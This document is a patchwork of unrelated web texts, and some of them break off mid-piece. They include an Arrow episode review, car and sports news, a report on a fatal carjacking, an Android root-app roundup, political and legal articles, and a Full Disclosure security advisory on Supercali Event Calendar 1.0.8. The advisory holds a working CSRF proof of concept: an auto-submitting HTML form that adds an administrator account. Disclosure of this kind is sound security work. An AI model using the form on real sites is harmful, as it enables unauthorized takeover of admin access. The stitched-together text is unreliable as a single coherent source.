Of course, with all that awesome character motivation, as with anyone donning a persona in the midst of others who have already done it, we get to have the less-than-fun “You don’t know what you’re doing” speeches from everyone else. I’ll be honest here. I love Batman, and I hate it from him, too. So hearing it from Diggle and Roy was tiresome from the beginning, especially from a series that has excelled at turning character reaction expectations on their heads. I’m just glad it was done by the end of the episode. By the end, they’re a team. An imperfect team, but none of them have been forged by the crucible that was the Island. Just like how anyone will never quite reach the level of Bruce Wayne. His conviction borders on almost a supernatural level, as does Ollie’s in his portrayal on Arrow. And I’m not saying that Laurel can’t or won’t have that same level of conviction, or that her conviction isn’t 100%, but it just can’t match Oliver’s. Not yet. I think, for the case of a vigilante, it’s a matter of conviction growing over time, a fire that only burns hotter. Give Laurel time to master her craft, to learn how the city moves and thinks, and then she’ll be there. And, frankly, we need her to not be ready right off the bad, or else we don’t have a character arc or development. Just like any hero starting off, it’s always more interesting when they suck right off the bat.
There were other storylines in this episode, as well, including Brick making some forward momentum in taking the Glades for his own. In crime movies or shows, I’m always amazed at how police officers, attorneys, judges, or whoever always just get home and everything is safe. If I’m a bad guy, I’m following that person or just Googling their street address, and I’m taking the fight to them when they least expect it. And that’s what Brick did here by storming City Hall or the police station or wherever that pow-wow was between the mayor, Captain Lance, Ray Palmer, and the Aldermen. So far, we’ve seen Brick as both a physically capable villain and a smart one. And while we just got through with an entire season of a bad guy just like that with Slade, that presence has been missed. Only two episodes in, Brick can’t possibly replace Manu Bennet’s Slade Wilson, but he’s certainly delivering a hell of a performance as a crime boss who actually is on the street level instead of in the penthouse. Shooting that Alderman as they escaped in the van was an added punch to the gut for the fledgling duo of Arsenal/Red Arrow and Canary. Would that have happened if Oliver had been there? The scenario certainly would have played out differently, but would the outcome have been different? Tough to say.
And as much as I’ve loved the new tough, badass Thea, her bickering with Merlyn over whether or not they were going to flee the city didn’t quite grab me as I imagine it was supposed to. I’m not sure why, either. At this point, I like both of these characters. I don’t know if it’s just a matter of Merlyn lying to her, and since we’re in on the lie, 2/3 of the parties involved know the whole thing is based on a lie, but we’re still subjected to having to go along with the 1/3 who has no idea what she’s talking about, through no fault of her own. And their discussion at the end where Thea convinces Merlyn to stay and fight, when he announced his decision, “We’ll stay and fight…” I have expected him to pick it up a second later with, “…and die.” Thea can’t understand why her father is so terrified of Ra’s, and for some reason, Merlyn’s not just saying, “Because, daughter dear, he’s an immortal martial arts badass who could take on Neo without breaking a sweat.” All he’s telling her is that he’s scary, not why, a point Thea tried making, but probably not as best as she could have. But in the end, she got what she wanted, so I guess she made her point well enough.
Oh, and DJ D-bag is with the League of Assassins. So that’s a thing.
Final Thoughts:
– Loved that Thea was reading Brad Meltzer, author of DC’s Identity Crisis, a story which heavily featured Oliver Green, as well as the rest of the Justice League.
– THE LADY ON THE NEWS SAID “RED ARROW.”
– The whole time Laurel was fighting Brick at the end, I couldn’t help but think, “Gee, some of those canary cry grenades would sure come in handy.”
– There was a whole thing going on with Oliver in this episode, and all I could think was that I wish his character was absent longer, so we could spend more time with the team back home.
– So, like, really? No Lazarus Pit? All right…
@kent_graham
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2012 Spada Codatronca Monza – Click above for image gallery
Images of the Spada Codatronca Monza boutique sports car have leaked onto the internet ahead of its debut at this year's Top Marques Monaco show. The Codatronca, you'll recall, is a Chevrolet Corvette Z06-engined low-volume supercar cooked up by Ercole Spada. Spada cut his teeth working for Zagato, BMW , and IDEA Institute before starting his own company, Spadaconcept.The Codatronca is the company's first attempt at a supercar and it uses an aluminum spaceframe and magnesium engine cradle coupled with the aforementioned Corvette engine. To make things just a tad more interesting, Spada adds twin superchargers to the already-potent 427, bringing the horsepower total to a heady 700.As quoted by AllCarIndex, the Monza will have a scant 2,500-pound curb weight, meaning that Spada's creation ought to hit 60 mph in three seconds flat and top out at nearly 210 mph. |
Official description with spoilers for the Arrow Season 5 premiere, titled "Legacy"
It’s a sign the new season is getting really close: The CW has now released an official description for the October 5 season premiere of Arrow.
The episode is called “Legacy” and here’s how they describe it:
NEW BEGINNINGS — After Laurel’s (Katie Cassidy) death and the departures of both Diggle (David Ramsey) and Thea (Willa Holland) from Team Arrow, Oliver (Stephen Amell) takes to the streets solo to protect Star City’s citizens as the Green Arrow. With Felicity (Emily Bett Rickards) guiding him from the bunker, Oliver is forced to deal with a city that has become overrun with both criminals and a slew of new (and painfully inexperienced) vigilantes. Watching Oliver try to balance his jobs as both the mayor and also the protector of Star City, Felicity suggests he form a new team, but Oliver resists. However, when a deadly new criminal, Tobias Church (guest star Chad L. Coleman), enters the picture, Oliver realizes the best thing for the city might be a new team of superheroes. Meanwhile, the flashbacks take us to Russia where Oliver faces off against the Bratva. James Bamford directed the episode with story by Greg Berlanti and teleplay by Marc Guggenheim & Wendy Mericle (#501). Original airdate 10/5/2016.
You can see some previously-released photos below, if you hadn’t seen them already. |
They gathered under the red glow of Sacramento’s Torch Club late Thursday to say goodbye to a woman who, friends and family said, lit up the dark bar she frequented with her smile and brought joy wherever she went.
For the more than 50 people who came to honor Khrista Ibarolle, 31, who was killed Wednesday during an El Dorado Hills robbery and carjacking, the gathering was a bittersweet tribute that punctured happy memories with the pain of knowing they would never again be able to share such moments with the woman many described as their “best friend.”
“No one will miss her more than her family, who now have a Khrista-shape hole in our hearts,” her sister Leslie Mead said in an email to The Sacramento Bee. “She lightened the mood with charm and her vibrant smile. Always a smile. Always compassionate. She once walked a neighbor home from her parents home, right next door, because she believed no one should walk home alone.”
Deputies said Ibarolle died just after midnight Wednesday when she was shot by carjacking suspect Anderson Swift, 41, of Oakland, as she left 36 Handles Irish Pub and Eatery with a friend.
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Swift was arrested a few miles from the scene and was booked into the El Dorado County jail on suspicion of murder, being a felon in possession of a firearm, carjacking and theft of a motor vehicle, according to the Sheriff’s Office.
“When I learned it was her, I just felt this numbness, this disbelief,” said Lara Phelps, who cried as she explained that she knew Ibarolle for about a decade. “You don’t want to accept it as the truth.”
Ibarolle moved from Sacramento to El Dorado Hills in December to get away from the city’s noise, commotion and crime, friends and family said. She sought refuge in the quiet community of El Dorado Hills, which, officials said, had not had a homicide in 41/2 years.
But early Wednesday, crime and violence found her.
According to the El Dorado County Sheriff’s Office, Ibarolle and a friend were leaving the bar about closing time when Swift approached them, demanding cash and car keys. As the women turned to run back toward the tavern, deputies said, Swift opened fire, killing Ibarolle.
Swift allegedly stole Ibarolle’s car and crashed it into a residential fence about 4 miles north on Silva Valley Parkway in El Dorado Hills.
It was the same car that carried her to campgrounds and trailheads as Ibarolle explored nature in California and beyond with her friends or her dog Anela often in tow, friends and family said.
Close friend Benjamin Bodea recalled Ibarolle’s ability to bring people together and push them to the limits of their comfort zones – with an encouraging smile and bubbly demeanor.
“She felt everything very deeply and cared a lot about others,” Bodea said. “She was empathetic, open-hearted.”
She played the piano and made jewelry. She was a licensed gemologist and owned her own business. She went to the Torch Club on Thursdays to dance to live music and mingle with a crowd of regulars who had taken her in as one of their own.
“Everybody’s really in shock,” Torch Club owner Marina Texeira said. “She was a beautiful person. I know you hear that from people a lot when someone dies, but Khrista was special. She had a beauty that shone from the inside out.”
Bodea recalled one of his favorite memories of Ibarolle, one that he said embodied her love of nature and musical spirit: The two had driven 60 miles on a dirt road out at the Grand Canyon’s north rim to find a camping spot. As night overtook their camp, Bodea said, they began to play Pink Floyd’s “Dark Side of the Moon” album and listened as the music bounced off the canyon walls.
On Thursday night, local musician Matt Rainey was scheduled to take the stage at the Torch Club. Two nights ago, he had played at another local establishment: 36 Handles Irish Pub and Eatery.
He said he saw Ibarolle and her friend as they made their way into the tavern earlier that evening. He was sitting in his car, listening to Jerry Garcia music when Ibarolle turned and smiled wide.
“When I heard what happened the next day, I just knew it was her; I could feel it,” he said. “We only shared a moment, she smiled and said hello, but I feel this weird connection to her.”
It felt only right, he said, that he would now get to play for those who knew her longer and loved her most. |
DAYTONA BEACH, Fla. -- Danica Patrick figures she has had at least a dozen concussions in her career and says she would retire if a doctor diagnosed her as being at risk with another crash.
The way Dale Earnhardt Jr. stepped out of the car for half a season last year to battle symptoms from a concussion was admirable and a lesson for other drivers, Patrick said Wednesday during Daytona 500 media day at Daytona International Speedway. Earnhardt will start the Daytona 500 on Sunday from the front row in his return to racing.
"I think that we'd like to sweep it all under the rug as drivers like we feel fine and nothing is wrong," said Patrick, 34. "But it's our life. If there was someone that told me or, I would hope any other driver, if you have another wreck, you could have a serious problem, then they would [choose to] be out.
"I would be out because I love what I do but I love lots of other things and I also love life. I'm too young to have it be over. It was a good lesson for a lot of people and a good education."
Patrick said she did not know if the hits she takes are comparable to the hits football players or other athletes absorb when it comes to concussions.
"I've had concussions. Every time you crash, you have a concussion on a varying degree," Patrick said. "When [Earnhardt] said something about having 12 concussions, I'm like, 'I'm sure I've had 12 concussions.' ... It makes you think for sure.
"It makes you pay attention to yourself, and there's nothing better than having somebody like Dale Jr. going as far as getting out of the car as long as he did, saying, 'Hey, I have a problem,' because it makes it more available to everyone else."
Danica Patrick says she would consider retirement if she was told she was at risk of a major concussion-related injury. AP Photo/Carlos Osorio
Earnhardt said he doesn't compare his issues much with athletes in other sports. His physician, Dr. Micky Collins, is among those at the forefront of treating athletes with concussions in the NFL and other sports.
"I don't really worry too much about it," Earnhardt said. "The sports are a little bit different how they are [with] the frequency of contact and impacts; they're a little bit different. I don't want to minimize this or that.
"It's just apples and oranges as far as how they experience and I've experienced it. ... I'm not an expert. My doctor is, and when I have concerns or questions, I go to him."
The 42-year-old driver said he has asked his doctor the blunt questions.
"I say, 'What's going on? What do you think about this? Am I in danger? I'm 42 years old. If you want me to quit racing, I'll quit racing today,'" Earnhardt said he tells his doctors. "I'd like to keep racing if I'm able to keep racing. He gives me that confidence in our conversations." |
It has been a few months since we last took a look in the Android Market for a new set of must-have root apps, and a lot of worthy entries have since entered the arena.
They battled it out in fight to the death, and the eight victors now stand before you, offering their unparalleled services at your disposal.
Okay, so maybe it didn't play out quite so dramatically, but the point remains the same: we have eight new apps that every rooted user should know about. Let's get to it, shall we?
Screencast Video Recorder
This is one of our favorite apps here at AP. We take a lot of screenshots and videos of apps and games, and Screencast is our go-to app, especially for the latter. If you ever find yourself in need of a way to record what's happening on-screen, look no further than Screencast. The app costs $4, but there is a demo version available so you can give it a shot before you buy.
Screencast doesn't support Tegra 2-based devices, and it doesn't (yet) work on the Galaxy Nexus. Screencast doesn't support Tegra 2-based devices, and it doesn't (yet) work on the Galaxy Nexus.
[Previous AP Coverage: 1, 2, 3]
HoneyBar
The concept of HoneyBar is simple, but its use is endless: it hides the notification bar on Honeycomb tablets. If you've ever tried to watch a movie, view a photo slideshow, or even play a game on a Honeycomb tablet, you'll notice that the notification bar is always visible (though sometimes it is blacked out), taking away valuable screen real-estate. HoneyBar is here to save the day and give you back your screen.
Once installed, HoneyBar launches itself as a white box in the middle of the notification bar (don't worry, that white box disappears after ten uses). Tap the box, and it hides the bar; tap the same spot again to bring it back. Easy peasy.
The app was not found in the store. :-( Go to store Google websearch
[Additional AP Coverage]
Game On
Game On is nothing short of game changing. It not only allows users to backup and restore game data, but download and share game progress over the Game On network. Yeah, you read right - share. Game. Data.
Maybe you're stuck on a particular part of a game. Perhaps you just don't feel like playing through all the boring crap and want to jump straight into the good stuff. It doesn't matter the reason you want to progress in a game - Game On is the solution.
Game On costs a buck in the Android Market - hit the widget to buy it.
[Previous AP Coverage]
WiFi Protector
WiFi Protector is a security app that protects your device from Wi-Fi sniffing attacks. It'll detect and prevent ARP (Address Resolution Protocol) attacks, like DoS (Denial of Service) and MitM (Man in the Middle).
Unlike most of the other apps in the roundup, this one actually offers a little bit of functionality for non-rooted users. To get the full protection the app offers, though, it uses the power of root to offer advanced protection -- it can even defend your gadgets against WiFiKill, an app that can eject basically any user off of a Wi-Fi network with the tap of a button.
WiFi Protector will set you back $1.89, hit the widget to buy.
The app was not found in the store. :-( Go to store Google websearch
[Additional AP Coverage]
Undelete
This one is sure to save many people a lot of heartache. We've all mistakenly deleted files before, potentially losing them forever. The next time that happens, though, Undelete is here to save the day by scanning your device's SD Card, finding deleted files, and, in most cases, restoring said files.
The app is free in the Android Market, so there's no excuse to ever lose another file.
Mobile ODIN Pro
Have you ever wanted to flash some firmware on your Samsung phone but weren't around a computer to make it happen? Enter Mobile ODIN Pro, a simple way to flash ODIN files directly from your device - it even offers an option to root the firmware while it's flashing!
At the current moment, MOP only supports a handful of devices, but more are likely in the works. For more details and to purchase ($4) Mobile ODIN Pro, hit the widget below.
[Previous AP Coverage]
Call Master
Call Master is the second app from developer Fahrbot Mobile to make its way into the roundup (the other being Undelete), and it's probably the most impressive call and text firewall we've ever seen. It can control dozens of variables in countless situations - everything from blocking certain numbers during certain times of day, sending specific numbers to voicemail, to auto-hang ups, and so much more.
Like other Fuhrbot app, this one is free. Grab it below.
[Previous AP Coverage]
avast! Mobile Security
Last, but certainly not least is avast! Mobile Security - an app that every rooted user should have installed. We know what you're thinking - an antivirus app? Really? Yes, really. This app is different than the rest of the anti-virus applications in the Market, because it is also the best anti-theft solution of any app. Hands down. (The other features of the app are top-notch, as well, but the anti-theft functionality is its only root function).
Why is its anti-theft so good? Because it used to be Theft Aware, an app that we absolutely loved. TA was bought out buy avast! and incorporated into its Mobile Security app. The best part is that the root function of the app wasn't altered in any way - avast's anti-theft setup is identical to Theft Aware in every way (aside from aesthetically, that is) - it's simple and intuitive, and when it's finished, you can rest assured that if your device is ever lost or stolen it's as protected as it can be.
avast! Mobile Security is free and if you only choose to install one app from this roundup, I suggest that this is the one.
[Previous AP Coverage: 1, 2, 3]
Conclusion
There we go - another eight root apps for the record books. As always, if you know of an awesome root apps, hit us up on the tip line so we can check it out. |
Full Disclosure mailing list archives
By Date By Thread Supercali Event Calendar 1.0.8: CSRF From: "Curesec Research Team (CRT)" <crt () curesec com>
Date: Tue, 03 Nov 2015 11:54:46 +0100
Security Advisory - Curesec Research Team 1. Introduction Affected Product: Supercali Event Calendar 1.0.8 Fixed in: not fixed Fixed Version Link: n/a Vendor Website: http://supercali.inforest.com/ Vulnerability Type: CSRF Remote Exploitable: Yes Reported to vendor: 09/01/2015 Disclosed to public: 10/07/2015 Release mode: Full Disclosure CVE: n/a Credits Tim Coen of Curesec GmbH 2. Vulnerability Description None of the forms of Supercali Event Calendar 1.0.8 have CSRF protection, which means that an attacker can perform actions for the victim if the victim visits an attacker controlled site while logged in. 3. Proof of Concept Add a User: <html> <body> <form name="myform" action="http://localhost/supercali-1.0.8/supercali-1.0.8/admin_actions.php" method="POST"> <input type="hidden" name="id" value="add" /> <input type="hidden" name="email" value="admin2" /> <input type="hidden" name="new_password" value="foo" /> <input type="hidden" name="return_to" value="" /> <input type="hidden" name="mode" value="Add Profile" /> <input type="submit" value="Submit request" /> </form> <script>document.myform.submit();</script> </body> </html> 4. Solution This issue was not fixed by the vendor. 5. Report Timeline 09/01/2015 Informed Vendor about Issue (no reply) 10/07/2015 Disclosed to public Blog Reference: http://blog.curesec.com/article/blog/Supercali-Event-Calendar-108-CSRF-68.html _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/ By Date By Thread Current thread: Supercali Event Calendar 1.0.8: CSRF Curesec Research Team (CRT) (Nov 06) |
(Photo credit to: Lonely planet – Taroko Gorge, Taiwan)
A political party in Taiwan, called the Basic Welfare Party (formerly known as the Taiwan Republican Party) includes the basic income as a core policy. The groundwork for the party is still being established as of January 2017. The BWP was initiated by members of Taiwan Global Basic Income Social Welfare Promotion Association and Yu Hua Zhai charity vegetarian restaurants in Taiwan. The party’s goal is to promote constitutional, legislative and judicial reform. With these goals, the BWP hopes to contribute to the realization of a country that acknowledges the importance of social welfare and the law, ensuring the right to a minimum livelihood through the establishment of an unconditional basic income for all people. As of January 2017, the BWP does not yet have a chairperson and is seeking individuals to fill the role.
One important figure in Taiwan is Dr. Tien-Sheng Hsu, Taiwan’s Family Medicine and Psychiatrist medical doctor as well as the Seth mental and physical clinic president. On June 5, Dr. Hsu spoke about Switzerland’s movement for the referendum on a basic income in a public speech. When discussing the basic income policy, Hsu said that hypothetically if he were the president of the Republic of China, he would give every citizen 30,000 New Taiwan Dollars (NTD) per month. In the same speech, he claimed that independence and reliance must forever be actively interwoven. In some ways, reliance allows our creativity to flourish. Because of this, Hsu said that if everyone’s basic security was taken care of with 30,000 NTD, then people would be more willing to take risks to achieve their ideal careers or life.
On June 8, Dr. Hsu and a doctor of international relations, Dr. Xinyi Ma, hosted the talk show “Voice of A-Sheng” which discussed international and domestic Taiwanese news from the perspective of mental and physical health. This program also brought up the Switzerland referendum on basic income. Dr. Hsu and Dr. Ma discussed the possibility of the people of Taiwan launching its own basic income referendum.
Dr. Hsu and Ma wondered whether such a referendum would pass in Taiwan, but Hsu said he approved of the essence behind Switzerland’s proposal, which was to guarantee a basic standard of living for every person. Dr. Hsu also said an important consideration is how such a basic income would be funded in Taiwan.
On several occasions, Hsu seemed to joke that he should become the President of the Republic of China so he could give 30,000 NTD to every citizen. It us unclear if Hsu is serious about his presidential aspirations or if the comments were meant to illustrate the effects of a hypothetical basic income.
During the program, Dr. Hsu and Dr. Ma also analyzed the topic of unconditional basic income from a psychological perspective. They maintain that “You create your own reality.” They defend that, when people go back to their inner state of grace, with their basic survival guaranteed, they feel protected by love, wisdom, mercy, creativity and the magical power of the universe. Dr. Hsu and Dr. Ma begin with the premise that every person’s existence is loved, every person in the universe is cherished. From here the whole society is then built, letting our humanity gain greater degree of freedom within. They say that if most people move in this direction, perhaps the social system we desire could really be built. Take the people from Switzerland, Finland and Holland: these are regions from which the Taiwanese people can learn from.
According to Dr. Hsu and Dr. Ma, if the idea of the basic income does not bring in our inner-selves, but rather employs the violent power of government, then it has again been distorted. Thus we must create the basic income from within, rather than from extrinsic pressure that makes everyone adhere to a certain system. So, Dr. Hsu and Dr. Ma urge, let’s use our intrinsic nature to embark on this endeavor. We can then achieve the feeling of inner richness and, in a state of grace, the proper external reforms will follow.
Editors note: The above article was revised on January 23, 2017 to add context about the nature of Dr. Hsu’s comments and included links to the original speeches. The article was also updated to reflect the current status of the Basic Welfare Party and to reflect the name change of the group from the Taiwan Republican Party.
Written by Juku Shenguang: Founder, Vice-president and Secretary-General of Taiwan Global Basic Income Social Welfare Promotion Association
Translated by Tyler Prochazka
Reviewed by André Coelho and Kate McFarland |
The past few months have been a headache for a select group of Israel’s political echelon. International solidarity activists and their legal advocates have begun to gain traction in a series of petitions alleging war crimes in a variety of international judicial forums. The development of this legal strategy has not received much recognition, but the implications are real; a game-changer in the fight for justice and accountability in Palestine.
Many of us will never forget the 2010 Freedom Flotilla controversy. In a courageous display of determination a fleet of six ships sailed to Gaza in protest of the blockade instituted since 2007. The tragedy reached us when we heard that one vessel—the Mavi Marmara, was raided by an IDF Special Forces unit while still traveling in international waters. Immediately, as competing narratives were raised, contested and rebuked in the media, Israel proclaimed its actions were justified and that the interception constituted a necessary act of self-defense. A video circulated showing the IDF forces attacked by steel-rod bearing passengers. Another video attempted to challenge Israel’s control of the narrative, showing passengers shot by the soldiers. The conversation quickly devolved into a vehement discourse over who attacked who first.
9 Turkish human rights activists died on board of the Mavi Marmara, and 50 to 55 passengers were injured in the course of the raid. One victim fell into a coma and died sometime later. A case against the Israeli authorities was originally launched in a Turkish court but after pressure from Turkish and Israeli officials, it was closed before yielding any results.
Multiple investigations have been launched into the matter. The Israeli government’s Turkel Report concluded that the IDF personnel acted “Professionally” and “in conformity to international law.” The UN Inquiry, head by Sir Geoffrey Palmer report found that the IDF forces faced “organized” violent resistance, but that Israel provided no satisfactory explanation as to the death of 9 activists and was unable to account for or counter the forensic evidence, which suggested some victims were shot multiple times in the head or neck, in close range. The Palmer report also found that detainees were harassed, intimidated, and physically mistreated.
IHH, the organization which coordinated the Freedom Flotilla mission, has previously alleged that all of the victims were wielding cameras and recording devices when killed. The Palmer report also notes that the material belongings of some passengers was unjustly confiscated. According to Maayan Amir, a researcher with the investigative group Forensic Architecture, “After taking control of the ship, the Israeli military confiscated all memory cards of cameras, mobile phones, hard drives, and videos they found there. These images were selectively mobilised to support the Israeli narrative of the event…”.
Conflicting narratives remain at the heart of the Freedom Flotilla affair. The main obstacle in the course of achieving justice for the victims of the raid is still conclusive information. Those who survived the affair and family members of loved ones who died on the ship have been turning to the courts in order to achieve redress for their grievances.
In bringing their cases in front of international legal institutions petitioners hope that the concept of Universal Jurisdiction over war crimes would apply and that the officials who made the decision to launch the raid would be held accountable by a fit and fair judiciary.
Most recently, three Spanish citizens who were on board of the Mavi Marmara petitioned the Spanish Supreme Court in Madrid. As a result, this past month, Judge Jose de la Mata, requested that Spanish police authorities inform the court if Prime Minister Benjamin Netanyahu, or other members of the so-called Forum of Seven, an ad hoc decision-making body concerned with security protocols, set foot on Spanish soil. The Forum of Seven includes Netanyahu, Ehud Barak, Avigdor Lieberman, Moshe ya’alon, Eli Yishai, Benny Begin, and Maron Eliezer.
This decision, which amounts to an arrest warrant for the Israeli officials, comes as a surprise to the Israeli government after it has attempted to dissuade the Spanish government from pursuing such actions. In a statement, Foreign Ministry Spokesperson Emmanuel Nachshon called the Judge’s decision a “provocation”, and added that the Israeli government is “working with the Spanish authorities to get it cancelled. We hope it will be over soon”.
In conjunction to the developments in the Spanish Court, Judges in the International Criminal Court have continuously asked Prosecutor Fatou Bensouda to reconsider her previous decision not to investigate the Mavi Marmara case. The case was sent to the ICC on behalf of the Comoros Island, to which the Marmara vessel was registered. In the ICC investigative discretion solely lies with current Prosecutor Bensouda. The Prosecutor has stated that she believes the Marmara affair does not constitute a case of sufficient “gravity” as mandated according to her investigative powers by Rome Statute. She has described her decision to refrain from further investigations as one based on a prioritization of scale in matters of war crimes. In a statement issued to the Court in the course of the preliminary investigation that took place in 2014, Bensouda said:
“Following a thorough legal and factual analysis of the information available, I have concluded that there is a reasonable basis to believe that war crimes under the jurisdiction of the International Criminal Court (“ICC” or the “Court”) were committed on one of the vessels, the Mavi Marmara, when Israeli Defense Forces intercepted the “Gaza Freedom Flotilla” on 31 May 2010. However, after carefully assessing all relevant considerations, I have concluded that the potential case(s) likely arising from an investigation into this incident would not be of “sufficient gravity” to justify further action by the ICC. The gravity requirement is an explicit legal criteria set by the Rome Statute.“
The case was originally heard in the Pre-Trial chambers of the ICC, and most recently was reviewed by the Appeals Chamber where Bensouda reiterated that she does not believe there exist sufficient details of grievance to warrant an investigation. If the Prosecutor stands her ground, the ICC will not investigate the Marmara affair.
The third forum which recently evaluated the 2010 affair was a California court. In October, attorneys acting on behalf of the family of Furkan Dogan, the youngest victim among the passengers, who held a dual Turkish and American citizenship, presented Ehud Barak official notification of a legal claim filed against him. Barak has previously served as Israel’s Prime Minister and was the Defense Minister during the time of the Mavi Marmara raid. The Foreign Ministry Spokesperson accused the advocates behind the complaint of lawfare, and stated that this case was but another “cynical attack” on Israel. The case of Furkan Dogan has been previously championed by the Center for Constitutional Rights, which filed multiple FOIA requests demanding disclosures of information that may be possessed by U.S authorities. This current case is filed in a civil court according to Alien Tort Claims.
We cannot predict whether these cases will trigger anything more significant than consternation and rebuke from Israeli spokespersons, but it remains obvious that these cases developing outside of Israeli courts would not have been possible if solidarity activists did not leverage their privileged possession of foreign passports and attempted to utilize international courts in trigger concerns of Universal Jurisdiction and global accountability for war crimes. Neither Israeli nor international courts enjoy a history of legal precedents upholding the human rights of Palestinians over the military occupation and its authorities, but at least one of those spheres—the transnational one, is showing potential. |
Citizen Science
Hundreds of ladybugs make it through our bug containers a week at The Nature Conservancy’s Silver Creek Preserve in south-central Idaho. Until recently, this had nothing to do with science, just the fact that my two boys like to collect ladybugs.
Then I received an email from Todd Ugine of Cornell University’s Department of Entomology. Todd was working on a citizen science effort called The Lost Ladybug Project that is trying explain why native populations of ladybugs are in serious decline.
One of the species the project was interested in tracking (Coccinella prolongata) was known to have occurred around Silver Creek. Todd was interested to know if this species could still be found around the preserve, and if so, he wanted some specimens.
As Todd wrote: “Our laboratory has a large citizen science component to it. We ask the public to take photos of any ladybug they see and upload it to our website that tracks when and where all the ladybug species are found. Seeing as your preserve has lots of people coming through it during ladybug season, I thought you might be able to help us out.”
Could we help him out? I knew I didn’t have to ask my sons, both inveterate bug collectors.
They have never been so excited. Not only did they get to collect insects, but they got to show the interns how to collect insects: two really “cool” interns who they were pining to impress.
And they did. They were easily the best at finding and catching the ladybugs. And I think they had the most fun. Citizen science projects are great for conservation because they bring everyone to the table. Everyone has an opportunity to contribute—and it is all valuable.
Ladybugs vary in color; spot patterns help distinguish the species. This may sound complicated, but even kids quickly get the hang of it. In fact, I never noticed how many ladybugs covered the sagebrush around Silver Creek until my boys pointed them out.
We have now posted signs asking preserve visitors to report ladybugs they’ve found. Thousands of fly fishers, birders, canoeists and photographers visit Silver Creek each year, and now they can easily contribute to science just by noting ladybugs they find on their streamside forays.
You can, too. Ladybugs are in decline and changing species distribution across the country. The Lost Ladybug Project is an easy way you can contribute to science just by poking around your backyard. And your kids will be happy to help!
Opinions expressed on Cool Green Science and in any corresponding comments are the personal opinions of the original authors and do not necessarily reflect the views of The Nature Conservancy. |
What does a “Chicago Fire” actor do when he’s trapped in an elevator? He calls the Chicago Fire Department. (Courtesy: Joe Minoso) (Published Thursday, Jan. 12, 2017)
What does a “Chicago Fire” actor do when he’s trapped in an elevator? He calls the Chicago Fire Department.
Actor Joe Minoso, who stars on the hit NBC show, said he was trapped in an elevator Wednesday.
“Slightly embarrassed cause I know who I’m gonna have to call,” he wrote on Instagram. “But less than 15 minutes later the #chicagofiredepartment was there when I needed them. Thank you so much for the help boys!”
Top Celebrity Photos: Jackman Brings 'Showman' to Australia
The post was shared with a video showing the elevator door being opened by several Chicago firefighters, who quickly recognize the person they’re rescuing.
“That’s why you call the Chicago Fire Department,” Minoso says in the footage. |
The Julie Ruin, the band featuring Kathleen Hanna, her former Bikini Kill bandmate Kathi Wilcox, Kiki and Herb's Kenny Mellman, Carmine Covelli, and Sara Landeau, have announced their second studio album, Hit Reset. The follow-up to 2013's Run Fast will be released on July 8 via Hardly Art. The band have also shared the first single, "I Decide," which you can hear below. It's accompanied by a lyric video starring Waxahatchee's Katie Crutchfield, which was filmed in Austin during SXSW. Check it out below, along with the album art and tracklisting. The Julie Ruin have two festival dates scheduled for this summer: At Panorama in NYC on July 23 and at Wrecking Ball in Atlanta August 12-14.
Revisit our interview with Kathleen Hanna.
__
__
Hit __Reset:
__
01 Hit Reset
02 I Decide
03 Be Nice
04 Rather Not
05 Planet You
06 Let Me Go
07 Mr. So and So
08 Record Breaker
09 Hello Trust No One
10 I'm Done
11 Roses More Than Water
12 Time is Up
13 Calverton
Watch Hanna and the Julie Ruin perform at Pitchfork Music Festival: |
Prime Minister Viktor Orbán has proposed a ten-point action plan for protecting the external borders of the European Union and free movement within the EU.
The Prime Minister spoke about the “Schengen 2.0” plan at the meeting of the Centrist Democrat International (CDI) held in Lisbon on Friday. In an interview with public service media, he said that the plan is necessary because the European Commission’s proposal for management of the migration crisis is wrong-headed. The latter seeks to reform the asylum system, while Hungary takes the view that “we must protect the borders”, said Mr. Orbán, who is one of the vice-presidents of the CDI, an international organisation of centrist parties of Christian democratic orientation.
The action plan will also be circulated among the Visegrád countries and other EU Prime Ministers over the next few days. Next week Mr. Orbán will present the proposal in Germany in person, and also in a number of other European countries over the following weeks. The Prime Minister takes the view that it must be made clear to the EU that “it is not acceptable – as would be the case under the Commission’s proposal – for someone in Brussels to decide that the countries of the EU must solve their demographic and economic problems through immigration”.
Mr. Orbán said that “We believe that there are countries in the EU which wish to solve their problems in this manner, and there are others which do not”. He pointed out that Hungary falls into the latter group, because it does not seek to remedy such problems through immigration, but through prudent family and economic policy. He said that the EU cannot deprive Hungary of the right “to decide how we wish to resolve these problems”; in other words, the EU cannot create a system which it lets in migrants and then prescribes mandatory resettlement quotas for every Member State, he argued. The Prime Minister said that this is why the referendum planned to be held in Hungary in relation to the mandatory resettlement quota is important, because “now that we have Brussels’ official proposal on the table, there is enormous pressure on us. […] If we do not stop Brussels with a referendum, they will indeed impose on us […] masses of people, with whom we do not wish to live together”.
A number of other issues were also discussed at the CDI meeting, including the Panama offshore scandal. Mr. Orbán said that attendees pledged to aim for full transparency in this matter. “Every country with low taxes must disclose information to those countries enquiring about investments made there by their own nationals”, he said. During his visit to Portugal the Prime Minister will also have talks with Pedro Passos Coelho, President of the Portuguese Social Democratic Party (PSD) and Portuguese head of state Marcelo Rebelo de Sousa.
(Cabinet Office of the Prime Minister) |
Nasrallah said he 'yearned [to give] my blood and soul' at Tahrir Square, alongside Egyptian protesters [AFP]
Sayyed Hassan Nasrallah, the leader of Hezbollah, has said that protesters calling for the resignation of Hosni Mubarak, the Egyptian president, are changing the region with their battle for "Arab dignity".
In his first comments since unrest began in Egypt almost two weeks ago, Nasrallah said on Monday that his Shia movement did not intend to intervene in the "internal business" of protesters, or to influence their decisions.
"Your movement will entirely change the face of our region for the interest of its own people," Nasrallah said in a televised address to a Beirut conference held in support of the Egyptian protests.
"You are going through the battle of Arab dignity, restoring the dignity of Arab people."
Egypt has been rocked by two weeks of protests, with demonstrators demanding that Mubarak step down as president and that fresh elections are held with the field opened to all opposition parties.
Mubarak has agreed not to run for re-election in September, but has refused to step down before then, saying he fears "chaos" if he does.
Mubarak's government has long been suspicious of Hezbollah's links to Iran and backs the Shia movement's political rivals in Lebanon.
Last year an Egyptian court sentenced Hezbollah member Sami Chehab to 15 years in prison on charges of planning attacks in the country.
Hezbollah said Chehab escaped from jail last week during the chaos in Egypt.
Criticism of US
In his address, Nasrallah praised what he termed the achievements of the protesters in Egypt, saying they had been as significant as the 2006 war between Hezbollah in and Israel in Lebanon.
He said he wished he could join protesters in Cairo's Tahrir Square, which has been the epicentre of demonstrations.
